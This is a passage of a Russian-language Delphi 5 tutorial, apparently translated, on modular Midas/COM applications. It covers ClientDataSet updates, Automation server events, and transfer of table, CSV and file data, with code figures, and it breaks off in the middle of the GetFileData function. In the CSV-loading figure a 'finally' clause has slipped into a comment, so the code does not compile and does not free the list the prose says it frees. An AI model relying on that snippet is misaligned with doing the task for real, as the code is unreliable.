ClientDataSet содержит все изменения в памяти в свойстве Delta, пока Вы не вызывете ApplyUpdates. Это означает, что при аварии произойдет откат транзакции, потому что все изменения в Delta будут потеряны. Единственый недостаток в использовании ClientDataSet, то, что аварийный отказ, во время выполнения ApplyUpdates, может все еще оставлять вашу базу данных в несогласованном состоянии. Однако, Если Вы вызываете ApplyUpdates достаточно часто достаточно, чтобы гарантировать, что только несколько записей модифицируются, модификация происходит в течении долей секунды. Это - намного меньшее окно уязвимости, чем использование локальных транзакций, где база данных может находится в несогласованном состоянии с момента первого изменения до проведения или отката транзакции. Для пользователя, вручную вносящего изменения, это время может быть несколько минут.

Улучшение параллельности работы баз данных

Одна из проблема транзакциями в любой базе данных состоит в том, что транзакции, которые являются активными в течение длительного времени, уменьшают способность другого пользователя модифицировать базу данных. Это случается, потому что каждый раз измененная запись должна быть блокирована, и блокировка должна быть задержана, пока транзакция не завершится, чтобы гарантировать, что никакой другой пользователь не может изменять запись. Эта проблема особенно актуальна, если база данных использует блокировку страницы, это делает невозможным для других пользователей изменение строк на блокированной странице.

Кэшируемые изменения были первоначально добавлены к Delphi, чтобы преодолеть эту проблему, и ClientDataSet является развитием этой идеи. Если Вы используете ClientDataSets, чтобы редактировать ваши данные, изменения сохранятся в локальной копии данных - в кэше ClientDataSet. База данных не содержит сделанных изменений, пока Вы не вызываете ApplyUpdates. Так как транзакция активна на сервере только, во время обращения к ApplyUpdates т.е обычно на доли секунды, блокировки не задерживается в течение длительного времени, и параллелизм улучшается.

Обеспечение нескольких платформ серверов баз данных

Предположим, что Вы пишете приложение для рынка. Вы знаете, что некоторые из ваших потенциальных заказчиков уже выбрали платформу сервера базы данных, так что Вы должны создать версии вашего приложения, для выполнения на Oracle, Microsoft SQL и Interbase. Компоненты, используемые, для работы с базами данных различны. Для Interbase самый лучший выбор Interbase Express, для MS SQL , самый лучший выбор - ADO Express и для Oracle, Вы можете использовать или BDE или ADO Express.

Midas делает создание таких приложений намного проще. Для каждой базы данных разрабатывают Midas приложение - сервер, которое содержит только специфический код для одного типа базы данных. Вся логика приложения находится в клиентском приложении. Это позволяет Вам, реализовать большую часть кода, общего для всех типов баз данных в Midas клиенте, а Midas сервер, будет обеспечивать только соединение с конкретным типом базы данных. Вы будете иметь общего Midas клиента и Midas сервер, который соответствует базе данных, которую использует клиент. Другая проблема, которую это решает, имеет место, если Вы настроили приложение для специфического клиента, и клиент затем решает заменить платформу базы данных. С Midas все, что Вы должны сделать - устанить Midas сервер, который работает с новой платформой. Никакие изменения для настроенного клиента не требуются.

Создание модульных приложений

Объединение Midas с COM позволяет, создавать большие сложные приложения из множества COM серверов, которые совместно используют общее соединение базы данных. Использование Midas и COM вместе:

Делает групповую разработку проще, позволяя каждому члену группы работать над модулем, который может компилироваться и тестироваться независимо.
Делает многомодульные приложения проще - устанавлиаются только те модули, которые нужны пользователю.
Допускает, чтобы все модули совместно использовали общее соединение базы данных.
Делает модули доступными независимо от языка программирования, который используется.
Делает проще поддержку баз данных.
Следующие разделы этой статьи посвящены разработке простого приложения, которое показывает совместное использование Midas и COM. Также рассмотрены обратные вызовы от COM сервера к клиенту. Мы разработаем модульное приложение. Создадим очень простой пример, который состоит из Midas сервера и двух Midas клиентов. Первый Midas клиент будет главной формой приложения, отображающей данные из таблиц Customer и Order. Это приложение - EXE. Второй Midas клиент отобразит данные из таблицы Order и выполнен как внутренний сервер автоматизации. Midas сервер также выполнен как DLL внутреннего сервера автоматизации. Роли трех модулей могут немного смутить Вас. Чтобы разъяснить кто, что делает следующая таблица показывает каждое приложение и его назначение

Приложение Назначение Роль Реализация
DemoDllServer Обеспечивает соединение с базой данных Midas сервер ActiveX Library DLL
DemoClient Содержит форму для таблицы Customer Midas клиент
COM клиент EXE
DemoOrders Содержит форму таблицы Order Midas клиент COM сервер ActiveX Library DLL

Разработка Midas сервера

Midas сервер имеет только одну необычную возможность. Он выполнен как DLL, так что не будет отображать форму или показывать иконку в панели задач. В то время как наличие отображаемой формы сервера может быть допустимым для распределенной системы, где никто обычно не видит экран машины - Midas сервера, это - плохая идея для приложения, где сервер и клиент выполнится на одном PC, потому что пользователь может быть введен в заблуждение дополнительной иконкой и может пробовать закрывать сервер. Решение состоит в том, чтобы выполнить Midas сервер как DLL, так чтобы он не имел никакого интерфейса пользователя. При выполнении Midas сервера в виде DLL также улучшается производительность. Для создания Midas сервера как DLL, выберем меню File | New из меню и затем закладку ActiveX репозитария объектов. Двойным щелчком левой кнопки мыши на иконке ActiveX Library создаст новый проект ActiveX библиотеки. С тех пор как Midas использует COM, чтобы обработать связь между Midas клиентом и Midas сервером, ActiveX библиотека используется, чтобы обеспечить требуемую поддержку COM.

После этого процесс создания сервера в виде DLL ничем не отличается от разработки EXE. Выберите File | New, перейдите к странице Multitier, и добавьте Remote Data Module (удаленный модуль данных ) к проекту. Рисунок 1 показывает удаленный модуль данных для типового приложения.

Рис.1. Удаленный модуль данных
Это приложение написано в типичном стиле клиента / сервера. Когда пользователь открывает приложение, никакие данные не отображаются. Взамен пользователь должен ввести некоторые критерии выбора(выделения), которые выберут приемлемое число записей. Чтобы реализовать этот подход, предложение SQL для CustomerQry компонента:

select * from Customer
where CustNo = -1

Это позволяет открывать Customer ClientDataSet в приложении DemoClient немедленно без отображения любых данных, т.к нет никаких записей в таблице Customer, чей номер заказчика является отрицательным. И DataSetProvider (CustomerProv) и DataSource (CustomerSrc) соединены с CustomerQry, устанавкой их свойств DataSet в CustomerQry. В свойстве Options DataSetProvider poAllowCommandText установлен в True, так что клиентское приложение может изменять свойство SQL CustomerQry, чтобы выбрать различные записи из таблицы Customer. OrdersQry обеспечивает выборку записей текущего заказчика. Свойство SQL установлено в:

select * from Orders
where (CustNo =:CustNo)

Свойство DataSource установлено в CustomerSrc, таким образом значение параметра :CustNo будет обеспечено в соответствии с текущей записью в CustomerQry. Это приводит к сохранению в наборе данных Customer данных о заказах, в виде вложенного набора данных.

Приложение DemoOrders позволяет пользователю искать записи в таблице Order по номеру заказа или всем заказы по номеру заказчика. Чтобы обеспечивать доступ к всем заказам необходим второй компонент TQuery - OrdersAllQry, который не связан с CustomerQry. Свойство SQL установлено, чтобы не выбирать никаких записей, т.е номер заказа - минус один. DataSetProvider для OrdersAllQry также имеет poAllowCommandText равный True. Так как этот Midas сервер - DLL, Вы не можете зарегистрировать его, запустив на выполнение. Вместо этого, выберите Run | Register ActiveX Server из меню Delphi, чтобы cкомпилировать и затем зарегистрировать Midas сервер.

Midas сервер в типичных трех уровнех распределенных приложениях не, только обеспечивает соединение с базой данных, но может также обеспечивать бизнес логику или другие сервисы. Однако, в этой статье мы обсуждаем приложение, состоящее из нескольких модулей. Все модули будут Midas клиентами, использующими один Midas сервер и и клиент, и сервер работают на той же самой машине. Предположим, что Вы пишете приложение, используя эту архитектуру. Если Вы должны поддерживать несколько видов серверов баз данных, Вы можете захотеть ограничить код Midas сервера только, тем кодом, который является специфическими для специфической базы данных, типа Oracle или Microsoft SQL Server, и хранить весь общий для баз данных код клиентских модулях. Это позволит Вам, поддерживать несколько Midas серверов для различных баз данных без дублирования кода.

Разработка COM Клиента

Рисунок 2 показывает главную форму приложения. Она состоит из двух DBGRID и двух DBNAVIGATOR. Верхний DBGRID и DBNAVIGATOR отображают информацию о заказчике и нижний DBGRID и DBNAVIGATOR - таблицу заказов.

Модуль данных содержит компонент DCOMCONNECTION, два ClientDataSet и два DataSources. Имя DCOMCONNECTION компонента - DemoConn, и св-во ServerName установлено в DemoDllSrvr.DllDemoServer. Свойство RemoteServer CustomerCds установлено в DemoConn, и ProviderName установлено равным CustomerProv. Свойство DataSetField компонента OrdersCds установлено в CustomerCdsOrdersQry, чтобы получить данные из вложенного набора данных. Меню Edit содержит диалог поиска, который отображает диалог, показанный на рисунке 4. Диалог дает возможность выбирать заказчика по номеру или выбирать все записи с определенным состоянием, используя метод FindCustomer в модуле данных CustomerDm. Реализацию данного метода Вы можете посмотреть в коде приложения.

Меню File на основной форме содержит пункт вызова формы выбора заказов, форма позволяет искать любой заказ по номеру заказчика или номеру заказа. Сетка заказов соединена со всплывающим меню, которое имеет два пункта. Первый, отобразить текущий заказ, открывает форму заказов и показывают текущую запись заказа. Второй, все заказы данного заказчика.

Создание COM сервера

Теперь начинается самое интересное. Следующий наш шаг - создание формы заказов и методов, которые форма просмотра заказчиков будет использовать, чтобы открыть форму заказов, искать заказы заказчика иискать заказ по его номеру. Однако, форма заказов будет расположена в отдельном приложении, которое является сервером Автоматизации, и форма заказчиков вызовает методы формы заказов через интерфейс автоматизации.

Чтобы создать приложение Orders, выберите закладку ActiveX репозитарии и двойным щелчком мыши пункт ActiveX Library. Добавьте форму и модуль данных к приложению. Законченная форма изображена на рисунке 5 и модуль данных на рисунке 6.

Компонент DCOMCONNECTION на рисунке 6, OrdersConn, соединяется с Midas сервером, DemoDllSrvr.DllDemoServer, так же как компонент DCOMCONNECTION модуле данных заказчиков. Свойство RemoteServer OrdersCds установлено в OrdersConn, и ProviderName установлено в OrdersAllProv.

Следующий шаг превратит этоту DLL в сервер автоматизации. Вернитесь к закладке ActiveX репозитария, двойной щелчок на мастере построения объекта автоматизации (ActiveX Object), и введите значение OrdersServer для имени CoClass. Также проверьте установку переключателя Generate Event Support Code. В редакторе библиотеки типов (Type Library Editor) добавьте методы к интерфейсу IORDERSERVER (таблица) и затем нажмите кнопку Refresh.

Метод Параметры Возвращаемое значение
FindByOrderNo OrderNo long
FindByCustNo CustNo long
OpenOrdersForm
CloseOrders
FindCustomer
GetCustNo CustNo Variant *

procedure TOrderServer.FindByOrderNo(OrderNo: Integer);
begin
  OrderDm.FindByOrderNo(OrderNo);
end;

procedure TOrderServer.FindByCustNo(CustNo: Integer);
begin
  OrderDm.FindByCustNo(CustNo);
end;

procedure TOrderServer.OpenOrdersForm;
begin
  OrderDm := TOrderDm.Create(nil);
  OrderForm := TOrderForm.Create(nil);
  OrderForm.Show;
end;

рис.7. Методы FindByOrderNo, FindByCustNo, OpenOrdersForm

implementation
uses FindOrderF;
{$R *.DFM}

procedure TOrderDm.FindOrder;
{Displays the Find Order dialog. Calls the appropriate find method based on
which edit box on the Find Order dialog has a value.}
begin
  FindOrderForm := TFindOrderForm.Create(Self);
  try
    with FindOrderForm do
    begin
      ShowModal;
      if OrderNoEdit.Text <> '' then
        FindByOrderNo(StrToInt(OrderNoEdit.Text))
      else if CustNoEdit.Text <> '' then
        FindByCustNo(StrToInt(CustNoEdit.Text))
      else
        MessageDlg('You must enter an order number or customer number.',
          mtError, [mbOK], 0);
    end; //with
  finally
    FindOrderForm.Free;
  end; //try
end;

procedure TOrderDm.FindByOrderNo(OrderNo: Integer);
{Finds an Order record given its OrderNo.}
begin
  with OrdersCds do
  begin
    Close;
    CommandText := 'SELECT * FROM Orders WHERE ' +
      '(OrderNo = ' + IntToStr(OrderNo) + ')';
    Open;
  end;
end;

Рис. 8. Методы модуля данных OrdersDM

procedure TOrderDm.FindByCustNo(CustNo: Integer);
{Finds all of the Order records for the specified Customer.}
begin
  with OrdersCds do
  begin
    Close;
    CommandText := 'SELECT * FROM Orders WHERE ' + '(CustNo = ' +
      IntToStr(CustNo) + ')';
    Open;
  end;
end;

Первые два метода, FindByOrderNo и FindByCustNo вызывают методы с тем же самым именем в модуле данных заказов. Реализация модуля данных заказов приведена на рисунке 8. Оба метода закрывают ClientDataSet заказов, устанавливают новое SQL предложение в тексте команды и затем вновь открывают ClientDataSet. При открытии ClientDataSet значение в CommandText передается к Midas серверу и затем в свойство SQL компонента OrdersAllQry прежде, чем запрос будет открыт. Программа работы с заказчиками вызывает эти методы для поиска по номеру заказа или для вывода всех заказов, сделанных заказчиком. Третий метод, OpenOrdersForm, создает модуль данных, OrderDm, и отображает форму заказов OrdersForm. Программа работы с заказчиками вызывает этот метод для отображения формы заказов.

FindOrder метод модуля данных заказов вызывается из меню Edit формы заказов. При этом отображается диалоговое окно FindOrdersForm, которое позволяет пользователю найти один или большее количество заказов по номеру или по номеру заказчика.

Обратный вызов COM клиенту

Используя вышеописанные методы наше приложение, может вызывать методы на COM сервере, чтобы сформировать заказ и найти заказы по номеру или по принадлежности к заказчику. Однако, COM сервер должен быть способным передавать данные клиенту по двум причинам. Первая, когда пользователь просматривает заказ, он должен иметь возможность отобразить запись заказчика для этого заказа. Другими словами, форма заказов должна уметь сообщить форме заказчика о необходимости найти нужного заказчика и отобразить себя. Вторая проблема состоит в том, что COM сервер показывает форму заказов в режиме modeless. Это означает, что COM клиент не может знать о закрытии COM сервер. Единственое решение состоит в том, что COM сервер должен сообщить COM клиенту, когда пользователь закрывает форму заказов.

Имеются три способа для связи сервера с клиентом.

Первый, добавить объект автоматизации к клиентскому приложению, так чтобы сервер мог соединяться с клиентом и вызывать методы интерфейса объекта автоматизации. Это означает, что приложение, которое содержит форму заказчика является, и COM клиентом, и COM сервером по отношению к DLL заказов и DLL является, и клиентом и сервером по отношению к приложению заказчика.

Второй метод включает создание интерфейса обратного вызова к клиентскому приложению. Чтобы сделать это, Вы должны добавить интерфейс клиенту и создавать экземпляр объекта, который реализует интерфейс. Когда COM клиент соединяется с COM сервером создается экземпляр объекта обратного вызова, затем вызывают метод COM сервера и передают ссылку на интерфейс, как параметр, к COM серверу. Используя эту ссылку сервер может вызывать методы клиента.

Третья методика позволяет серверу инициировать события на клиенте через dispinterface сервера. Это самый простой способ при реализации в Delphi 5 благодаря мастерам, которые делают большинство работы. Хотя данная методика имеет некоторые ограничения, она пригодна для большинства приложений, так что это - метод, используемый в этой статье. Ключ к использованию событий - установка переключателя Generate Event Support Code при добавлении объекта автоматизации к COM серверу. Установка переключателя добавляет два интерфейса к библиотеке типов COM сервера. Мы уже добавили методы первого интерфейса, IORDERSERVER. Второй интерфейс - dispatch интерфейс IORDERSERVEREVENTS. Настало время, чтобы открыть Редактор Библиотеки Типов снова и добавить два метода к интерфейсу IorderServerEvents. Первый OnCloseOrders и второй OnFindCustomer. После добавления события OnFindCustomer выберем закладку параметров, затем нажимаем кнопку Add, чтобы добавить новый параметр. Назовите параметр CustNo, тип Long. OnCloseOrders событие будет возникать, когда пользователь закрывает форму заказов, извещая COM клиента о возможности закрытия соединения с заказами на COM сервере. OnFindCustomer событие будет возникать, когда пользователь выбирает пункт меню View | Customer . Это событие сообщит COM клиенту, что необходимо найти и отобразить запись заказчика, чей номер соответствует номеру заказчика текущей записи заказа.

procedure TOrderServer.CloseOrders;
begin
  FEvents.OnCloseOrders;
end;

procedure TOrderServer.FindCustomer;
begin
  FEvents.OnFindCustomer(OrderDm.OrdersCdsCustNo.AsInteger);
end;

Рис.9 Генерация событий

Код обработчиков событий приведен на рисунке 9. CloseOrders и FindCustomer - методы, которые были добавлены к IORDERSERVER ранее. CloseOrders вызывается из обработчика события OnDestroy формы заказов. FindCustomer вызывается из обработчика события OnClick пункта меню View | Customer.

Чтобы вызывать эти методы, Вы должны иметь ссылку на объект OrderServer. Чтобы получать эту ссылку, сделаны два изменения, показанные на рисунках 10 и 11, в модуле OrdersAuto. Глобальная переменная OrderServer добавлена к разделу интерфейса модуля. Добавлена строка в методе Initialize объекта TORDERSERVER, устанавливающая глобальную переменню OrderServer в Self. Переменная OrderServer теперь обеспечивает ссылку на объект автоматизации OrderServer, который может использоваться, чтобы вызвать методы из формы Заказов в обработчике OnDestroy и обработчиком OnClick пункта меню или в любом месте приложения DemoOrders. Обратите внимание, что, если Вы только хотите возбуждать событие из метода в интерфейсе IORDERSERVER, Вы можете опускать эти два изменения. Мы нуждались в ссылке к объекту Automation только, потому что мы нуждались в генерации событий из в любом месте приложения.

var
  OrderServer: TOrderServer;

Рис. 10 Объявление переменной ссылки на объект автоматизации

procedure TOrderServer.Initialize;
begin
  inherited Initialize;
  FConnectionPoints := TConnectionPoints.Create(Self);
  if AutoFactory.EventTypeInfo <> nil then
    FConnectionPoint := FConnectionPoints.CreateConnectionPoint(
      AutoFactory.EventIID, ckSingle, EventConnect)
  else
    FConnectionPoint := nil;
  OrderServer := Self;
end;

Рис.11 Инициализация ссылки на OrderServer

Последний шаг реализация события в COM клиенте. В проекте DemoClient, открытом в IDE, выберите Project | Import Type Library из меню, чтобы отобразить диалог импорта, показанный на рисунке 12. Выберите библиотеку DemoOrders в окне списка, и удостоверьтесь, что флажок Generate Component Wrapper установлен. Это создаст компонент, типа TORDERSERVER, и добавит его к вашей палитре компонентов. Когда Вы нажмете кнопку Install, Вас будут спрашивать, хотите ли Вы устанавливать этот компонент в новый пакет или существующий пакет. Вы возможно найдете это более удобным поместить все компоненты сервера для проекта, над которым Вы работаете в их собственном пакете. Чтобы вы не делали, не устанавливайте этот компонент в существующие пакеты компонентов Delphi. Выбрав щелкните пакета ОК, затем Yes в диалоге, сообщающем Вам, что пакет будет сформирован и затем установлен. Компонент, который создан - оболочка вокруг COM сервера и может использоваться, чтобы соединиться с сервером и вызывать методы. Компонент OrderServer также имеет событие для каждого события, которое Вы добавили к интерфейсу IORDERSERVEREVENTS в COM сервере.

Рис.12 Диалог импорта библиотеки типов
Киньте TORDERSERVER компонент на форму заказчика, и назовите его OrderServer. Установите свойство AutoConnect в False, так что соединение с COM сервером не будет открыто автоматически, когда программа стартует. Переключитесь на закладку Events инспектора объектов, и создайте обработчики событий OnCloseOrders и OnFindCustomer . Код для обоих обработчиков события показывается на рисунке 13.

procedure TCustomerForm.OrderServerCloseOrders(Sender: TObject);
begin
  OrderServer.Disconnect;
end;

procedure TCustomerForm.OrderServerFindCustomer(Sender: TObject;
  CustNo: Integer);
begin
  CustomerDm.FindByCustNo(CustNo);
  Show;
end;

Рис. 13 Обработчики событий

Осталось реализовать обработчик события OnClick для меню File | Orders и всплывающее меню сетки Orders. Код для этих обработчиков события показывается на рисунке 14.

procedure TCustomerForm.Orders1Click(Sender: TObject);
begin
  OrderServer.Connect;
  OrderServer.OpenOrdersForm;
end;

procedure TCustomerForm.ShowThisOrder1Click(Sender: TObject);
begin
  with OrderServer do
  begin
    Connect;
    OpenOrdersForm;
    FindByOrderNo(CustomerDm.OrdersCds.FieldByName('OrderNo').AsInteger);
  end; //with
end;

procedure TCustomerForm.ShowAllOrdersForThisCustomer1Click(Sender: TObject);
begin
  with OrderServer do
  begin
    Connect;
    OpenOrdersForm;
    FindByCustNo(CustomerDm.OrdersCds.FieldByName('CustNo').AsInteger);
  end; //with
end;

Рис. 14 Обработчик пункта меню

Перемещение Данных Между Сервером и Клиентом

Что Вы делаете, когда хотите переместить данные, который не сохранены в таблице базы данных между COM сервером и COM клиентом? Заполните Variant, и передайте это как параметр. Обратите внимание, что я не говорю Midas сервера и клиента, а любого COM сервера и клиента. В то время как некоторые из методов в этом разделе будут демонстрироваться с Midas сервером, и клиент, будет использовать интерфейс IAPPSERVER они будут работать в равной степени хорошо работать между любым COM сервером и клиентом, использующим любой интерфейс.

Передача Табличных Данных

Если Вам необходимо передать табличные данные, самый простой способ - это использовать ClientDataSet и передать данные как показано в приложении PassData. Это приложение состоит из COM сервера и COM клиента. Основная форма клиента, показанная на рисунке 15, содержит Database, Query, DataSetProvider, ClientDataSet и DataSource, соединенный с DBGRID для отображения данных таблицы заказчика из DBDEMOS. Обработчик события OnClick кнопки Send Data показан на рисунке 16.

Рис. 15 Главная форма COM клиента

procedure TMainForm.SendBtnClick(Sender: TObject);
begin
  PassDataServer := CoPassData.Create;
  PassDataServer.PassData(CustCds.Data);
end;

Рис. 16 Обработчик события нажатия кнопки Send Data

Клиентское приложение использует модуль интерфейса библиотеки типов сервера, так что можно соединяться с сервером, вызывая coclass's сервера, использовать метод Create и получить ссылку интерфейс. PassDataServer объявлена как закрытая переменная формы типа - IPASSDATA. IPASSDATA - интерфейс, реализованный COM сервером. Вторая строка вызывает метод PassData интерфейса IPASSDATA и передает свойство Data ClientDataSet как параметр.

Рисунок 17 показывает метод PassData сервера. Этот метод получает параметр типа OleVariant, который используется, чтобы передать свойство Data ClientDataSet от клиента к серверу. Форма главного приложения сервера содержит ClientDataSet, DataSource и DBGRID. Код на рисунке 17 присваивает значение параметра CdsData свойству Data ClientDataSet и открывает ClientDataSet.

procedure TPassData.PassData(CdsData: OleVariant);
begin
  with MainForm.CustCds do
  begin
    Data := CdsData;
    Open;
  end; // with
end;

Рис 17 Метод PassData

Если необходимо передать изменения, которые были сделаны пользователем в ClientDataSet, содержащиеся в свойстве Delta ClientDataSet, добавьте другой параметр OleVariant, и присвойте дельту этому параметру. К сожалению, свойство Delta - доступно только для чтения, так что Вы не можете назначать параметр Delta свойству Delta ClientDataSet. Обратите внимание, что ClientDataSet не соединен с удаленным сервером или провайдером в этом примере, хотя это и возможно.

Передача данных Flat файла

Одна из интересных особенностей Midas - то, что данные, которые Midas сервер посылает клиенту, могут храниться где угодно. То есть не обязательно в таблице базы данных. Один из методов в приложении выборки PassOther обеспечивает данные Midas клиенту из CSV файла ASCII. Самый простой способ делать это состоит в том, чтобы разместить ClientDataSet и DataSetProvider в удаленном модуле данных сервера. Используйте инспектор объектов, чтобы редактировать свойство FieldDefs ClientDataSet и добавить определения полей. Затем написать обработчик события BeforeGetRecords для DataSetProvider, который получает данные, в этом случае из файла ASCII, и загрузит их в ClientDataSet. DataSetProvider затем получает данные из ClientDataSet и посылает их клиентскому приложению нормальным способом. Рисунок 18 показывает обработчик события BeforeGetRecords.

procedure TPassOther.TextProvBeforeGetRecords(Sender: TObject; var OwnerData:
  OleVariant);
var
  AFile: TextFile;
  FieldVals: TStringList;
  Rec: string;
begin
  FieldVals := TStringList.Create;
  try
    with TextCds do
    begin
      {If the ClientDataSet is active empty it otherwise create it using
      the FildDefs entered at design time. Calling CreateDataSet both
      creates the in memory dataset and opens the ClientDataSet.}
      if Active then
        EmptyDataSet
      else
        CreateDataSet;
      {Open the ASCII file.}
      AssignFile(AFile, OwnerData);
      Reset(AFile);
      {Loop through the ASCII file. Read each record and assign it to the
      CommaText property of the TStringList FieldVals.
      This parses the record and assigns each field to a string in the StringList.
      Insert a new record in the ClientDataSet
      and assign the StringList elements to the fields.}
      while not System.EOF(AFile) do
      begin
        Readln(AFile, Rec);
        FieldVals.Clear;
        FieldVals.CommaText := Rec;
        Insert;
        FieldByName('Name').AsString := FieldVals[0];
        FieldByName('Date').AsDateTime := StrToDate(FieldVals[1]);
        FieldByName('Unit').AsString := FieldVals[2];
        Post;
      end; //while
      System.CloseFile(AFile);
      {Be sure to reposition the ClientDataSet to the first record
      so the DataSetProvider will start with the first
      record when building its data packet to send to the client.}
      First;
    end; //with finally FieldVals.Free;
  end; //try
end;

В начале обработчика BeforeGetRecords создается StringList FieldVals, который используется для просмотра записей из разделенного запятой файла ASCII (csv). Затем это проверяет открытие ClientDataSet, и если он открыт очищает его. Если не открыт вызывает CreateDataSet который, и создает набор данных в памяти, используя FieldDefs, определенный во временя разработки и открывает ClientDataSet. AssignFile и Reset открывают файл ASCII. Обратите внимание, что имя файла в обращении к AssignFile - параметр OwnerData, переданный обработчику события. OwnerData позволяет клиенту передавать любую информацию серверу, устанавливая значение параметра OwnerData в событии BeforeGetRecords ClientDataSet клиентского приложения. OwnerData - Variant, Вы можете передавать любомой типу данных, включая массив вариантов. Это дает Вам возможность передать любое количество значений любого типа.

Цикл while читает запись из текстового файла в строковую переменную Rec, очищает StringList, и устанавливает значение свойства CommaText StringList в Rec. Когда Вы назначаете строку CommaText анализируется наличие любых запятых или пробелов, которые не включены в кавычки, и каждая подстрока записывается в элемент StringList.

Затем, новая запись вставляется в ClientDataset, и значения из StringList присваиваются полям. Новая запись закрепляется. По достижении конца текстового файла CloseFile закрывает файл ASCII. Затем, обращение к First перемещает курсор ClientDataSet к первой записи. Это важно, потому что DataSetProvider начнет с текущей записи, когда будет формировать пакет данных, чтобы послать клиенту. Если Вы оставляете ClientDataSet, позиционированный в последнюю запись, последняя запись единственная, которая будет послана Midas клиенту. В заключение, обращение к методу Free StringList освобождает память.

На клиентских местах все гораздо проще. Когда Вы открываете ClientDataSet в клиентском приложении генерируется событие BeforeGetRecords. Рисунок 19 показывает код для события клиента BeforeGetRecords.

procedure TMainDm.TextCdsBeforeGetRecords(Sender: TObject;
  var OwnerData: OleVariant);
begin
  {Assign the file name to OwnerData which is
  passed to the Midas client automatically.}
  OwnerData := ExtractFilePath(Application.ExeName) + 'text.txt';
end;

Рис. 19 Обработчик события BeforeGetRecords

Единственая вещь, которая выполняется здесь - то, что имя текстового файла записывается в параметр OwnerData. OwnerData автоматически отправляется Midas серверу, где, появляется как параметр для BeforeGetRecords события DataSetProvider.

Отсылка файла, который не требуется отображать пользователю

Использование ClientDataSet удобно для данных, которые Вы хотите отображать на форме. Но предположим, что Вы должны передать файл, который не надо отображать в ClientDataSet от COM сервера к клиенту. Это совершенно, просто, даже если Вы должны послать файл который является слишком большим, чтобы размещаться в память. Закладка File типового приложения содержит кнопку Copy File и компонент Memo. Рисунок 20 - код из обработчика события OnClick этой кнопки. Процедура начинается с объявления константы ArraySize, которая содержит размер массива, используемого для передачи файлов от COM сервера к клиенту. Эта типовая программа отображает блоки чтения данных из сервера в компоненте Memo на форме. В приложении, где Вы передаете большое количество данных и сохраняете их в памяти или пишете в файлу, Вы могли бы использовать намного больший размер массива, например 4КБ или 16КБ, чтобы передать большее количество данных за одно обращения к серверу.

Так как мы хотим помещать данные в компонент Memo, строка байтов, возвращенных из сервера должна быть интерпретирована как строковая переменная, в этом случае S. Обращение к SetLength устанавливает размер S равным размеру массива. Затем компонент DCOMCONNECTION открывается, чтобы установить соединение с сервером, и Memo очищается.

Пересылка файла выполнена тремя пользовательскими методами, добавленными к интерфейсу приложения IAPPSERVER сервера, используя Редактор Библиотеки типов. Первый, OpenFile, берет один параметр - имя файла, который будет перемещен. Цикл while вызывает второй метод IAPPSERVER, GetFileData. GetFileData передает вариант, VDATA, как возвращаемый параметр и размер массива и возвращает число байт фактически прочитанных из файла. Это будет размер массива для каждого блока за исключением последнего, который может содержать меньшее количество байтов, если размер файла - не четный множитель блочного размера. Если число байтов, возвращенных обращением к GetFileData - нуль, конец файла был достигнут, и цикл с условием продолжения покидается.

Следующий шаг должен поместить байты, возвращенные в массиве в строковую переменную, S, и добавлять строку к компоненту Memo. Чтобы обращаться к данным в вариантном массиве, быстрее массив блокирован обращением к VarArrayLock (VDATA), который возвращает указатель на фактический массив данных в варианте. Указатель сохраняется в переменной PDATA, которая объявлена с типом PBYTEARRAY. PBYTEARRAY объявлен в модуле System как указатель на массив типа "байт". Данные перемещаются от массива в строковую переменную вызывом Move(PDATA ^, S [1], ByteCount). Процедура Move копирует определенное число байтов из одного участка в памяти в другой. Первый параметр - исходное расположение, второй параметр - адресат, и третий параметр - число копируемых байтов. Обратите внимание, что Move не выполняет никакую проверку ошибок любого вида, так будьте внимательным, чтобы использовать правильные параметры, потому что странные вещи случатся во времени выполнения, если Вы записываете в неправильную область памяти. Кроме того, Move не выполняет никакой контроль соответствия типов. Вы можете перемещать любую комбинацию разрядов в строку или любой другой вид переменной. Если только данные переместились от массива в строку, массив разблокируется, и строка добавляется в Memo.После копирования происходит обращение к третьему методу IAPPSERVER - CloseFile для закрытия файл на сервере.

procedure TMainForm.CopyFileBtnClick(Sender: TObject);
const
  ArraySize = 20;
var
  VData: Variant;
  PData: PByteArray;
  S: string;
  ByteCount: Integer;
begin
  with MainDm.Conn do
  begin
    {Allocate the string variable S to hold the number of bytes
    returned in the variant array.}
    SetLength(S, ArraySize);
    {Connect to the Midas server and empty the memo component.}
    if not Connected then
      Open;
    Memo.Lines.Clear;
    {Call the server's OpenFile method. This creates the TFileStream
    on the server that is used to read the file. The name of the file
    to read is passed as a parameter.}
    AppServer.OpenFile(ExtractFilePath(Application.ExeName) + 'text.txt');
    {Read data from the server until the entire file has been read.}
    while True do
    begin
      {Read a block of data from the server. GetFileData returns the actual
      number of bytes read. The parameter is a variant array of bytes
      passed by reference.}
      VData := Unassigned;
      ByteCount := AppServer.GetFileData(VData, ArraySize);
      {If the number of bytes read is zero the end of the file has been reached.}
      if ByteCount = 0 then
        Break;
      {Lock the variant array and get a pointer to the array values.}
      PData := VarArrayLock(VData);
      try
        {The read that reaches the end of the file may return fewer bytes
     than requested. If so, resize the string variable to hold the
     number of bytes actually read.}
        if ByteCount < ArraySize then
          SetLength(S, ByteCount);
        {Move the data from the variant array to the string variable.}
        Move(PData^, S[1], ByteCount);
      finally
        VarArrayUnlock(VData);
      end; //try
      Memo.Lines.Add(S);
    end; //while
    AppServer.CloseFile;
  end; //with
end;

На стороне сервера методы OpenFile, GetFileData и CloseFile были добавлены к интерфейсу IAPPSERVER, используя редактор библиотеки типа. Рисунок 21 показывает код из удаленного модуля данных для OpenFile метода. OpenFile содержит одиночную строку программы, которая создает объект FileStream для файла, переданного как параметр метода. Файл открыт в режиме чтения и разделен для чтения, но никакая запись не допускается. FileStream назначен к переменной Fs, которая является закрытой переменной удаленного модуля данных.

procedure TPassOther.OpenFile(FileName: OleVariant);
begin
  {Create the TFileStream object in read mode. Allow other applications
  to read the text file but not write to it.}
  Fs := TFileStream.Create(FileName, fmOpenRead or fmShareDenyWrite);
end;

Рис. 21 Метод OpenFile

Рисунок 22 показывает метод GetFileData. Этот метод имеет выходной параметр, который является вариантом и возвращает массив байтов, содержащих данные файла. После создания вариантного массива GetFileData блокирует его для быстрого доступа и получает указатель, возвращенный VarArrayLock в локальную переменную PDATA. Затем вызывается метод чтения FileStream, передавая адрес PDATA, указывающий на массив, чтобы сохранить данные и передающий VarArrayHighBound (Данные, 1) + 1, поскольку число байтов всегда равно размеру массива. Число байтов прочитанных фактически возвращается функцией. В заключение, обращение к VarArrayUnlock разблокирует вариантный массив.

function TPassOther.GetFileData(out Data: OleVariant;
  ArraySize: Integer): Integer;
var
  PData: PByteArray;
begin
